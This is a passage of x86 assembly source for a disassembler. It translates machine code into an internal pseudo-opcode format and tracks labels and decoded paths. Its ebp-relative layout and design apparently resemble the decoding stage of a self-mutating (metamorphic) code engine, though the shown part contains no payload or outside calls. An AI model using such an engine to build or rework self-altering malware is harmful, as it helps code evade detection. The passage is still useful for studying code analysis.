|
|
@@LoopTrace:
|
|
@@CheckCurrentLabel:
|
|
mov eax, esi ; Check if the current code is already
|
|
sub eax, [ebp+_CODE_SECTION] ; disassembled
|
|
sub eax, ebp
|
|
add eax, [ebp+PathMarksTable]
|
|
mov eax, [eax] ; If the mark in the path is != 0,
|
|
and eax, 0FFh ; then it's already disassembled.
|
|
cmp eax, 1
|
|
jnz @@CheckIfFutureLabelArrived
|
|
|
|
;; If it's already disassembled, it's because the current code is inside
|
|
;; a loop, or is referenced by a label that we disassembled before. So, we
|
|
;; find the referenced code and we insert a JMP to there, and after that we
|
|
;; get a new EIP from the list of "future labels".
|
|
mov edx, [ebp+InstructionTable] ; Get the first instruction
|
|
@@CheckCurrEIP_001:
|
|
mov eax, [edx+0Ch] ; Search the pointer at all the
|
|
cmp eax, esi ; disassembled instructions. When we
|
|
jz @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that
|
|
add edx, 10h ; instruction.
|
|
jmp @@CheckCurrEIP_001
|
|
@@ItsTheCurrentEIP:
|
|
mov [edi+0Ch], esi ; Set the new pointer.
|
|
mov eax, [edi+0Bh] ; Get the label mark.
|
|
and eax, 0FFFFFF00h ; Clear it.
|
|
mov [edi+0Bh], eax
|
|
mov eax, 0E9h ; Set the JMP to the already
|
|
mov [edi], eax ; disassembled code
|
|
mov eax, esi
|
|
mov ebx, edx ; Insert the label
|
|
call InsertLabel
|
|
mov [edi+1], edx
|
|
add edi, 10h ; Increment the EIP
|
|
|
|
; Now get a new EIP to disassemble.
|
|
mov ecx, [ebp+NumberOfLabelsPost] ; Get the number of
|
|
or ecx, ecx ; labels. If it's 0, we haven't more branches
|
|
jz @@FinDeTraduccion ; to disassemble, so we finish and
|
|
; return.
|
|
mov ebx, [ebp+FutureLabelTable] ; Get the table address
|
|
@@LoopCheckOtherFutureLabel: ; Look for a not disassembled label
|
|
mov eax, [ebx]
|
|
cmp eax, esi
|
|
jz @@OtherFutureLabelFound
|
|
@@LoopSearchOtherFutureLabel:
|
|
add ebx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopCheckOtherFutureLabel
|
|
; Now we have a new EIP in ESI
|
|
mov ecx, [ebp+NumberOfLabelsPost]
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckOtherFutureLabel2:
|
|
mov eax, [ebx] ; Check the other labels at the table.
|
|
or eax, eax ; If we found one already disassembled,
|
|
jz @@LoopSearchOtherFutureLabel2 ; we eliminate it from the
|
|
sub eax, ebp ; list and insert the new label in the
|
|
sub eax, [ebp+_CODE_SECTION] ; table of definitive
|
|
add eax, [ebp+PathMarksTable] ; labels.
|
|
mov eax, [eax]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jz @@ReleaseLabelsInThatAddress
|
|
@@LoopSearchOtherFutureLabel2:
|
|
add ebx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopCheckOtherFutureLabel2
|
|
jmp @@GetEIPFromFutureLabelList
|
|
|
|
@@ReleaseLabelsInThatAddress:
|
|
push ebx ; Release the label. This means store
|
|
push ecx ; the labels already disassembled in the
|
|
mov esi, [ebx] ; definitive label table, and all that.
|
|
call ReleaseFutureLabels ; It checks the current EIP in ESI.
|
|
pop ecx
|
|
pop ebx
|
|
jmp @@LoopSearchOtherFutureLabel2
|
|
|
|
@@OtherFutureLabelFound:
|
|
mov eax, [ebx+4] ; Set the label at the JUMP or
|
|
mov [eax+1], edx ; displacement instruction
|
|
xor eax, eax
|
|
mov [ebx], eax ; Eliminate the label from the future
|
|
jmp @@LoopSearchOtherFutureLabel ; label list
|
|
|
|
@@CheckIfFutureLabelArrived:
|
|
mov eax, [edi+0Bh] ; Clear the label mark...
|
|
and eax, 0FFFFFF00h
|
|
mov [edi+0Bh], eax
|
|
call ReleaseFutureLabels ; ...and release the temporary
|
|
; labels
|
|
@@SigueInstr:
|
|
mov [edi+0Ch], esi ; Set the current EIP at the pointer
|
|
mov ebx, esi ; field.
|
|
sub ebx, [ebp+_CODE_SECTION]
|
|
sub ebx, ebp
|
|
add ebx, [ebp+PathMarksTable]
|
|
mov eax, [ebx]
|
|
or eax, 1
|
|
mov [ebx], eax ; Mark address as already decoded
|
|
|
|
mov eax, [esi] ; Get the opcode
|
|
and eax, 0FFh
|
|
cmp eax, 3Fh ; OP Reg,Reg, Mem,Reg or Reg,Mem?
|
|
jbe @@GenericOpcode
|
|
cmp eax, 47h ; INC Reg?
|
|
jbe @@Op_INC
|
|
cmp eax, 4Fh ; DEC Reg?
|
|
jbe @@Op_DEC
|
|
cmp eax, 5Fh ; PUSH Reg/POP Reg?
|
|
jbe @@Op_PUSHPOP
|
|
cmp eax, 68h ; PUSH Imm?
|
|
jz @@Op_PUSHValue
|
|
cmp eax, 6Ah ; PUSH sign-extended Imm?
|
|
jz @@Op_PUSHSignedValue
|
|
cmp eax, 70h ; Short conditional jump?
|
|
jb @@SigueInstr_00
|
|
cmp eax, 7Fh
|
|
jbe @@Jcc
|
|
@@SigueInstr_00:
|
|
cmp eax, 80h ; Reg,Imm or Mem,Imm?
|
|
jb @@SigueInstr_01
|
|
cmp eax, 83h
|
|
jbe @@GenericOpcode2
|
|
@@SigueInstr_01:
|
|
cmp eax, 84h ; TEST
|
|
jz @@Gen_8b_MemReg
|
|
cmp eax, 85h ; TEST
|
|
jz @@Gen_32b_MemReg
|
|
; cmp eax, 86h ; XCHG
|
|
; jz @@Gen_8b_MemReg
|
|
; cmp eax, 87h ; XCHG
|
|
; jz @@Gen_32b_MemReg
|
|
cmp eax, 8Bh ; MOV?
|
|
jbe @@GenericOpcode
|
|
cmp eax, 8Dh ; LEA
|
|
jz @@LEA
|
|
cmp eax, 8Fh ; POP Mem?
|
|
jz @@POPMem
|
|
cmp eax, 90h ; NOP?
|
|
jz @@NOP
|
|
; cmp eax, 97h ; Disabled instructions
|
|
; jbe @@XCHGWithEAX
|
|
; cmp eax, 0A0h
|
|
; jz @@MOVALMem
|
|
; cmp eax, 0A1h
|
|
; jz @@MOVEAXMem
|
|
; cmp eax, 0A2h
|
|
; jz @@MOVMemAL
|
|
; cmp eax, 0A3h
|
|
; jz @@MOVMemEAX
|
|
cmp eax, 0A8h ; TEST AL,xx?
|
|
jz @@TESTALValue
|
|
cmp eax, 0A9h ; TEST EAX,xx?
|
|
jz @@TESTEAXValue
|
|
cmp eax, 0B0h ; MOV Reg8,xx?
|
|
jb @@SigueInstr_02
|
|
cmp eax, 0B7h
|
|
jbe @@MOVReg8Value
|
|
cmp eax, 0BFh ; MOV Reg,xxx?
|
|
jbe @@MOVRegValue
|
|
@@SigueInstr_02:
|
|
cmp eax, 0C0h ; SHIFT,1? (ROL,ROR,etc. with 8 bits)
|
|
jz @@BitShifting8
|
|
cmp eax, 0C1h ; SHIFT,1 with 32 bits?
|
|
jz @@BitShifting32
|
|
cmp eax, 0C3h ; RET?
|
|
jz @@RET
|
|
cmp eax, 0C6h ; MOV Mem8,Imm?
|
|
jz @@MOVMem8Value
|
|
cmp eax, 0C7h ; MOV Mem,Imm?
|
|
jz @@MOVMem32Value
|
|
cmp eax, 0D0h ; SHIFT,x with 8 bits?
|
|
jz @@BitShifting8
|
|
cmp eax, 0D1h ; SHIFT,x with 32 bits?
|
|
jz @@BitShifting32
|
|
|
|
;; In this gap there are obsolete instructions, copro ones and
|
|
;; other that we aren't going to use (for the moment), so decode
|
|
;; them it's not worthy.
|
|
|
|
cmp eax, 0E8h ; CALL?
|
|
jz @@CALL
|
|
cmp eax, 0E9h ; Long JMP?
|
|
jz @@JMP
|
|
cmp eax, 0EBh ; Short JMP?
|
|
jz @@JMP8
|
|
cmp eax, 0F5h ; CMC?
|
|
jz @@NOP
|
|
cmp eax, 0F6h ; NOT and NEG?
|
|
jz @@SomeNotVeryCommon8
|
|
cmp eax, 0F7h
|
|
jz @@SomeNotVeryCommon32
|
|
cmp eax, 0FDh ; One-byters that have not been decoded
|
|
jbe @@NOP ; are set as NOP
|
|
cmp eax, 0FEh ; INC/DEC Mem8?
|
|
jz @@INCDECMem8
|
|
cmp eax, 0FFh ; INC/DEC/PUSH Mem?
|
|
jz @@INCDECPUSHMem32
|
|
mov eax, 0FFh ; Set NOP if any instruction hasn't
|
|
@@SetOneByteInstruction: ; fit the conditions above
|
|
mov [edi], eax
|
|
|
|
add edi, 10h ; Increase the storadge EIP and the
|
|
inc esi ; disassembly EIP by 1
|
|
@@ContinueDissasembly:
|
|
jmp @@LoopTrace ; Treat next instruction
|
|
|
|
;;;; GENERIC OPCODE
|
|
; This kind of construction is very common among the opcodes. This is the way
|
|
; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem
|
|
; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND,
|
|
; SUB, XOR and CMP.
|
|
@@GenericOpcode:
|
|
and eax, 7 ; Get the register
|
|
cmp eax, 3 ; Check the type of instruction. If it's
|
|
jbe @@Gen_NormalOpcode ; Mem,Reg, Reg,Mem or Reg,Reg, jump.
|
|
cmp eax, 4 ; Check if it's an OP with AL
|
|
jz @@Gen_UsingAL
|
|
cmp eax, 5 ; Check if it's an OP with EAX
|
|
jz @@Gen_UsingEAX
|
|
mov eax, [esi] ; Check if the opcode is 0F, the opcode
|
|
and eax, 0FFh ; that is used for some extended operations
|
|
cmp eax, 0Fh
|
|
jz @@Opcode0F
|
|
jmp @@SetOneByteInstruction ; Set the instruction.
|
|
|
|
@@Gen_NormalOpcode:
|
|
or eax, eax ; Check Mem8,Reg8
|
|
jz @@Gen_8b_MemReg
|
|
cmp eax, 1 ; Check Mem,Reg
|
|
jz @@Gen_32b_MemReg
|
|
cmp eax, 2 ; Check Reg8,Mem8
|
|
jz @@Gen_8b_RegMem
|
|
|
|
@@Gen_32b_RegMem:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h ; Check Reg,Reg
|
|
jz @@Gen_32b_ReglReg
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 8Bh ; Get the opcode
|
|
jnz @@Gen_32b_RegMem_0 ; If it isn't MOV, jump
|
|
mov eax, 40h+2 ; Set MOV Reg,Mem
|
|
jmp @@Gen_GenMem ; Jump to decode the instruction
|
|
@@Gen_32b_RegMem_0:
|
|
and eax, 38h ; Get the operation in pseudo-asm
|
|
add eax, 2 ; Set the "Reg,Mem" mode
|
|
@@Gen_GenMem:
|
|
mov edx, [edi] ; Get the data around the pseudoopcode
|
|
and edx, 0FFFFFF00h ; Set the opcode
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, [esi+1] ; Get the data of the x86 opcode
|
|
and eax, 38h ; Get the register involved
|
|
shr eax, 3
|
|
mov [edi+7], eax ; Store it at +7 in the pseudo-instr.
|
|
mov edx, esi ; Set in EDX the offset of the memory
|
|
add edx, 1 ; construction
|
|
call DecodeMemoryConstruction ; Decode it
|
|
add esi, ebx ; Add the length of the memory field
|
|
add esi, 1 ; to ESI
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen_32b_MemReg:
|
|
mov eax, [esi+1] ; Get the second opcode
|
|
and eax, 0C0h ; Check if it's Reg,Reg operation
|
|
cmp eax, 0C0h
|
|
jz @@Gen_32b_lRegReg ; If it is, jump to decode it
|
|
mov eax, [esi]
|
|
and eax, 0FFh ; Get the opcode
|
|
cmp eax, 85h ; Check if it's TEST
|
|
jnz @@Gen_32b_MemReg_0
|
|
mov eax, 48h+3 ; If it is, store a TEST opcode
|
|
jmp @@Gen_GenMem
|
|
@@Gen_32b_MemReg_0:
|
|
; cmp eax, 87h ; This is XCHG, but we aren't using
|
|
; jnz @@Gen_32b_MemReg_1 ; it, so it's disabled.
|
|
; mov eax, 48h+6
|
|
; jmp @@Gen_GenMem
|
|
@@Gen_32b_MemReg_1:
|
|
cmp eax, 89h ; Check if it's MOV Mem,Reg
|
|
jnz @@Gen_32b_MemReg_2
|
|
mov eax, 40h+3 ; Set MOV Mem,Reg if it is
|
|
jmp @@Gen_GenMem
|
|
@@Gen_32b_MemReg_2:
|
|
and eax, 38h ; Get the pseudoopcode
|
|
add eax, 3
|
|
jmp @@Gen_GenMem ; Jump to set it and decode the rest
|
|
|
|
@@Gen_32b_ReglReg:
|
|
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
|
|
@@Gen_GenReglReg:
|
|
mov eax, [esi+1] ; Get the source register
|
|
and eax, 7
|
|
mov [edi+1], eax ; Set it on the disassembly
|
|
mov eax, [esi+1] ; Get the destiny register and set it
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+7], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen_32b_lRegReg:
|
|
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
|
|
@@Gen_GenlRegReg:
|
|
mov eax, [esi+1] ; Get the registers and store them in
|
|
and eax, 7 ; their appropiated fields
|
|
mov [edi+7], eax
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+1], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen_8b_RegMem:
|
|
mov eax, [esi+1] ; Get the OP Reg,Mem
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h ; Check first if it's OP Reg,Reg
|
|
jz @@Gen_8b_ReglReg ; If it is, jump
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 8Ah ; MOV Reg8,Mem8?
|
|
jnz @@Gen_8b_RegMem_0
|
|
mov eax, 40h+82h ; Set MOV Reg8,Mem8
|
|
jmp @@Gen_GenMem ; Jump to decode the memory address
|
|
@@Gen_8b_RegMem_0:
|
|
and eax, 38h
|
|
add eax, 82h ; Get the operation and set it
|
|
jmp @@Gen_GenMem
|
|
|
|
@@Gen_8b_MemReg:
|
|
mov eax, [esi+1] ; Get the operation
|
|
and eax, 0C0h ; Check if it's OP Mem,Reg
|
|
cmp eax, 0C0h
|
|
jz @@Gen_8b_lRegReg ; If it is, jump
|
|
mov eax, [esi]
|
|
and eax, 0FFh ; Get the opcode
|
|
cmp eax, 84h ; If it's TEST...
|
|
jnz @@Gen_8b_MemReg_0
|
|
mov eax, 48h+83h ; ...set it
|
|
jmp @@Gen_GenMem
|
|
@@Gen_8b_MemReg_0:
|
|
; cmp eax, 86h ; This is XCHG 8 bits, but it's disabled
|
|
; jnz @@Gen_8b_MemReg_1 ; because we don't use this type of
|
|
; mov eax, 48h+86h ; instructions
|
|
; jmp @@Gen_GenMem
|
|
@@Gen_8b_MemReg_1:
|
|
cmp eax, 88h ; Check if it's MOV Mem,Reg
|
|
jnz @@Gen_8b_MemReg_2
|
|
mov eax, 40h+83h ; Set it if it's MOV Mem,Reg
|
|
jmp @@Gen_GenMem
|
|
@@Gen_8b_MemReg_2:
|
|
and eax, 38h ; Get the OP
|
|
add eax, 83h
|
|
jmp @@Gen_GenMem ; Set it and jump to decode the memory
|
|
; reference
|
|
|
|
@@Gen_8b_lRegReg:
|
|
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode
|
|
mov eax, [edi] ; Set the 8 bits operation
|
|
add eax, 80h
|
|
mov [edi], eax
|
|
jmp @@Gen_GenlRegReg ; Decode the rest of the instruction
|
|
|
|
@@Gen_8b_ReglReg:
|
|
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8
|
|
mov eax, [edi] ; Set 8 bits instruction
|
|
add eax, 80h
|
|
mov [edi], eax
|
|
jmp @@Gen_GenReglReg ; Decode the rest of the instruction
|
|
|
|
@@Gen_UsingAL:
|
|
mov eax, [esi] ; Get the operation
|
|
and eax, 38h
|
|
add eax, 80h
|
|
mov edx, [edi] ; Set the opcode
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
mov eax, [esi+1] ; Get the Imm
|
|
and eax, 0FFh ; Extend the sign
|
|
cmp eax, 7Fh
|
|
jbe @@Gen_UsingAL_01
|
|
add eax, 0FFFFFF00h
|
|
@@Gen_UsingAL_01:
|
|
add esi, 2 ; Increase EIP and set the value
|
|
jmp @@Gen_SetValue
|
|
|
|
@@Gen_UsingEAX:
|
|
mov eax, [esi] ; Get the instruction
|
|
and eax, 38h
|
|
mov edx, [edi] ; Set the opcode
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, [esi+1] ; Set the value
|
|
add esi, 5
|
|
|
|
@@Gen_SetValue:
|
|
mov [edi+7], eax
|
|
xor eax, eax ; Set the register (EAX)
|
|
mov [edi+1], eax
|
|
jmp @@NextInstruction
|
|
|
|
|
|
;;;; INC Reg
|
|
|
|
@@Op_INC: and eax, 7 ; Get the register of the INC
|
|
mov [edi+1], eax ; Set it
|
|
xor eax, eax ; Pseudoopcode (ADD)
|
|
jmp @@Op_GenINCDEC
|
|
|
|
;;;; DEC Reg
|
|
|
|
@@Op_DEC: and eax, 7 ; Get the register of the DEC
|
|
mov [edi+1], eax ; Set it
|
|
mov eax, 28h ; Pseudoopcode (SUB)
|
|
@@Op_GenINCDEC:
|
|
mov edx, [edi] ; Set the pseudoopcode
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, 1 ; Set the value of addition/subtraction
|
|
mov [edi+7], eax
|
|
add esi, 1 ; Increase the EIP
|
|
jmp @@NextInstruction
|
|
|
|
;;;; PUSH Reg & POP Reg
|
|
|
|
@@Op_PUSHPOP: and eax, 7 ; Get the register of the opcode
|
|
mov [edi+1], eax ; Set it
|
|
mov eax, [esi]
|
|
and eax, 58h ; Get the instruction (PUSH or POP)
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax ; Set it
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
;;;; PUSH Value
|
|
|
|
@@Op_PUSHValue:
|
|
mov [edi], eax ; Set the opcode
|
|
mov eax, [esi+1] ; Get the value
|
|
mov [edi+7], eax
|
|
add esi, 5 ; Add the length of the instr. to the EIP
|
|
jmp @@NextInstruction
|
|
|
|
;;;; PUSH SignedValue
|
|
|
|
@@Op_PUSHSignedValue:
|
|
mov eax, 68h ; Set the opcode 68h
|
|
mov [edi], eax
|
|
mov eax, [esi+1] ; Get the value to PUSH
|
|
and eax, 0FFh ; Extend the sign
|
|
cmp eax, 7Fh
|
|
jbe @@Op_PUSHSignedValue_01
|
|
add eax, 0FFFFFF00h
|
|
;movsx eax, byte ptr [esi+1]
|
|
@@Op_PUSHSignedValue_01:
|
|
mov [edi+7], eax ; Set the value
|
|
add esi, 2 ; Increase the EIP
|
|
jmp @@NextInstruction
|
|
|
|
|
|
;;;; GENERIC OPCODE (2nd part)
|
|
;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or
|
|
;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that
|
|
;; make TEST).
|
|
@@GenericOpcode2:
|
|
and eax, 1 ; Get if it's a 8 bits or 32 bits operation
|
|
or eax, eax
|
|
jz @@Gen2_8b ; Jump if it's 8 bits
|
|
@@Gen2_32b:
|
|
mov eax, [esi+1] ; Get the operation performed
|
|
and eax, 38h
|
|
mov edx, [edi] ; Set it as pseudoopcode
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, [esi]
|
|
and eax, 2 ; Get if the operation uses a DWORD or
|
|
or eax, eax ; a sign-extended byte
|
|
jnz @@Gen2_Gen_Signed
|
|
@@Gen32Value:
|
|
mov eax, [esi+1] ; Get it we use Reg,Reg
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen2_32b_Register
|
|
mov eax, [edi] ; Get the opcode
|
|
add eax, 4 ; Set OP Mem,Imm
|
|
mov [edi], eax
|
|
mov edx, esi ; Decode the memory construction
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx ; Add the length of the rest of the
|
|
mov eax, [esi+1] ; instruction to get the value OPed
|
|
sub esi, ebx ; Subtract it because later we'll add
|
|
add esi, 3 ; it again.
|
|
jmp @@Gen2_Gen_Memory
|
|
|
|
@@Gen2_32b_Register:
|
|
mov eax, [esi+2] ; Get the value
|
|
mov [edi+7], eax ; Set it
|
|
mov eax, [esi+1] ; Get the operation opcode
|
|
add esi, 6 ; Add the length of the instruction
|
|
jmp @@Gen2_Gen_Register
|
|
|
|
@@Gen2_8b:
|
|
mov eax, [esi+1] ; Get the 2nd opcode
|
|
and eax, 38h ; Extract the operation and set it as
|
|
add eax, 80h ; a 8 bits pseudooperation.
|
|
mov edx, [edi] ; Set it
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
@@Gen2_Gen_Signed:
|
|
@@Gen8Value:
|
|
mov eax, [esi+1] ; Get the 2nd opcode
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h ; If we use a register, jump
|
|
jz @@Gen2_8b_Register
|
|
mov eax, [edi] ; Set "Mem" usage
|
|
add eax, 4
|
|
mov [edi], eax
|
|
mov edx, esi ; Decode the memory address
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
xor eax, eax ; Get the Imm of the operation in EAX
|
|
add esi, ebx
|
|
mov eax, [esi+1]
|
|
sub esi, ebx
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Gen8Value_01
|
|
add eax, 0FFFFFF00h
|
|
@@Gen8Value_01:
|
|
|
|
@@Gen2_Gen_Memory:
|
|
mov [edi+7], eax ; Set it in the pseudoinstruction
|
|
add esi, ebx
|
|
add esi, 2 ; Increase EIP and decode the next
|
|
jmp @@NextInstruction ; instruction.
|
|
|
|
@@Gen2_8b_Register:
|
|
mov eax, [esi+2] ; Get the Imm and extend the sign
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Gen2_8b_Register_01
|
|
add eax, 0FFFFFF00h
|
|
@@Gen2_8b_Register_01:
|
|
mov [edi+7], eax ; Set it in the pseudo-instruction
|
|
mov eax, [esi+1] ; Get the 2nd opcode
|
|
add esi, 3 ; Add the length of the instruction
|
|
@@Gen2_Gen_Register: ; to EIP
|
|
and eax, 7 ; Get the register of the instruction
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax ; Set the register
|
|
jmp @@NextInstruction ; Decode the next instruction
|
|
|
|
|
|
;;;; LEA decoding
|
|
|
|
@@LEA: mov eax, 0FCh ; Set the pseudoopcode of LEA
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1 ; Decode the memory address
|
|
call DecodeMemoryConstruction
|
|
mov eax, [esi+1]
|
|
and eax, 38h ; Get the destiny register and set it
|
|
shr eax, 3
|
|
mov [edi+7], eax
|
|
add esi, ebx
|
|
add esi, 1 ; Add the length of the instruction to
|
|
jmp @@NextInstruction ; the EIP.
|
|
|
|
;;;; POP Mem decoding
|
|
|
|
@@POPMem: mov eax, [esi+1] ; Get the operand
|
|
and eax, 0C0h ; Get if we use reg or memory address
|
|
cmp eax, 0C0h
|
|
jz @@POPMem_butReg
|
|
mov eax, 59h ; If we use a memory address, set the
|
|
mov [edi], eax ; opcode and decode the memory address
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
@@POPMem_butReg: ; If it uses a register, set it
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, 58h ; Set the opcode
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
;;;; XCHG With EAX:
|
|
;; Disabled since we aren't coding XCHG
|
|
|
|
; @@XCHGWithEAX:
|
|
; mov al, [esi]
|
|
; add esi, 1
|
|
; cmp eax, 90h
|
|
; jz @@NOP
|
|
; and eax, 7
|
|
; mov [edi+1], al
|
|
; mov eax, 48h+5
|
|
; mov [edi], al
|
|
; xor eax, eax
|
|
; mov [edi+7], eax
|
|
; jmp @@NextInstruction
|
|
|
|
;; NOP instruction
|
|
|
|
@@NOP: mov eax, 0FFh ; Set the NOP pseudoopcode
|
|
mov [edi], eax
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
;;;; MOV AL/EAX,Mem
|
|
; This one is also disabled, because we doesn't have direct memory operations
|
|
; to disassemble.
|
|
; @@MOVALMem:
|
|
; mov eax, 0C2h
|
|
; @@MOVxAxMem:
|
|
; mov [edi], eax
|
|
; mov eax, 8
|
|
; mov [edi+1], eax
|
|
; mov [edi+2], eax
|
|
; xor eax, eax
|
|
; mov [edi+7], eax
|
|
; mov eax, [esi+1]
|
|
; mov [edi+3], eax
|
|
; add esi, 5
|
|
; jmp @@NextInstruction
|
|
; @@MOVEAXMem:
|
|
; mov eax, 42h
|
|
; jmp @@MOVxAxMem
|
|
|
|
;;;; MOV Mem,AL/EAX
|
|
|
|
; @@MOVMemAL:
|
|
; mov eax, 0C3h
|
|
; jmp @@MOVxAxMem
|
|
; @@MOVMemEAX:
|
|
; mov eax, 43h
|
|
; jmp @@MOVxAxMem
|
|
|
|
;;;; TEST AL,Value decodification
|
|
|
|
@@TESTALValue:
|
|
mov eax, [esi+1] ; Get the value
|
|
and eax, 0FFh
|
|
mov ecx, eax ; Put it in ECX
|
|
mov eax, 0C8h ; Put the pseudoopcode in EAX
|
|
add esi, 2
|
|
@@TESTxAxValue:
|
|
mov [edi], eax ; Set the pseudoopcode
|
|
xor eax, eax ; Set the register
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx ; Set the value
|
|
jmp @@NextInstruction
|
|
|
|
;;;; TEST EAX,Value
|
|
|
|
@@TESTEAXValue:
|
|
mov ecx, [esi+1] ; Get the Imm in ECX
|
|
mov eax, 48h ; 48h = TEST pseudoopcode
|
|
add esi, 5 ; Increase the EIP
|
|
jmp @@TESTxAxValue
|
|
|
|
;;;; MOV Reg,Value decodification
|
|
|
|
@@MOVRegValue:
|
|
mov eax, 40h ; 40h = MOV pseudoopcode
|
|
mov [edi], eax
|
|
mov ecx, [esi+1] ; Get the value in ECX
|
|
mov eax, [esi]
|
|
add esi, 5
|
|
@@MOVRegValue_Common:
|
|
and eax, 7 ; Get the register in EAX
|
|
mov [edi+1], eax ; Set the register
|
|
mov [edi+7], ecx ; Set the value
|
|
jmp @@NextInstruction
|
|
@@MOVReg8Value:
|
|
mov eax, 0C0h
|
|
mov [edi], eax ; C0 = MOV 8 bits
|
|
mov eax, [esi+1] ; Get the Imm to move
|
|
and eax, 0FFh
|
|
mov ecx, eax
|
|
mov eax, [esi] ; Get the opcode to extract the register
|
|
add esi, 2
|
|
jmp @@MOVRegValue_Common
|
|
|
|
;;;; ROL/ROR/etc. decodification
|
|
|
|
@@BitShifting32:
|
|
mov eax, 0F0h ; Pseudoopcode SHIFT
|
|
@@BitShifting_Common:
|
|
mov [edi], eax ; Set the pseudoopcode
|
|
mov eax, [esi+1] ; Get the 2nd opcode
|
|
and eax, 38h ; Extract the operation
|
|
mov edx, [edi+8] ; Set it at +8 in the instruction
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+8], eax
|
|
mov eax, [esi+1] ; Get the operand type
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@BS32_Reg ; If it's a Reg, jump
|
|
mov eax, [edi]
|
|
add eax, 1
|
|
mov [edi], eax ; Set SHIFT Mem,x
|
|
mov edx, esi
|
|
add edx, 1 ; Decode the memory operand
|
|
call DecodeMemoryConstruction
|
|
@@BS32_Common:
|
|
mov eax, [esi] ; Get the opcode
|
|
and eax, 0FFh
|
|
cmp eax, 0D0h ; Check if it's SHIFT,1 or SHIFT,x
|
|
jb @@BS32_GetNumber ; If it's ,x jump
|
|
mov eax, 1 ; Set 1 as shifting value
|
|
sub esi, 1
|
|
jmp @@BS32_SetNumber
|
|
@@BS32_GetNumber:
|
|
add esi, ebx ; Get the value of shifting
|
|
mov eax, [esi+1]
|
|
sub esi, ebx
|
|
@@BS32_SetNumber:
|
|
and eax, 1Fh ; Trim the bits ignored implicitly
|
|
mov edx, [edi+7] ; Set the shifting value (byte) at +7
|
|
and edx, 0FFFFFF00h ; in the disassembly of the instr.
|
|
add eax, edx
|
|
mov [edi+7], eax
|
|
add esi, ebx
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
@@BS32_Reg:
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 7
|
|
mov [edi+1], eax ; Set it
|
|
mov ebx, 1 ; Jump to finish the decoding
|
|
jmp @@BS32_Common
|
|
|
|
@@BitShifting8:
|
|
mov eax, 0F2h ; Set SHIFT8
|
|
jmp @@BitShifting_Common
|
|
|
|
;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6)
|
|
|
|
@@MOVMem8Value:
|
|
mov eax, 0C4h ; Set the opcode as MOV Mem8,xxx
|
|
mov [edi], eax
|
|
mov eax, [esi+1] ; Get the 2nd opcode
|
|
and eax, 0C0h ; Register or memory address?
|
|
cmp eax, 0C0h
|
|
jz @@MOVMem8_RegValue ; If register, jump
|
|
mov edx, esi
|
|
add edx, 1 ; Decode the memory address
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx ; Add the length of the operand
|
|
add esi, 1
|
|
@@MOVMem8Value_Common:
|
|
mov eax, [esi] ; Get the value we are moving
|
|
and eax, 0FFh ; Extend the sign
|
|
cmp eax, 7Fh
|
|
jbe @@MOVMem8Value_01
|
|
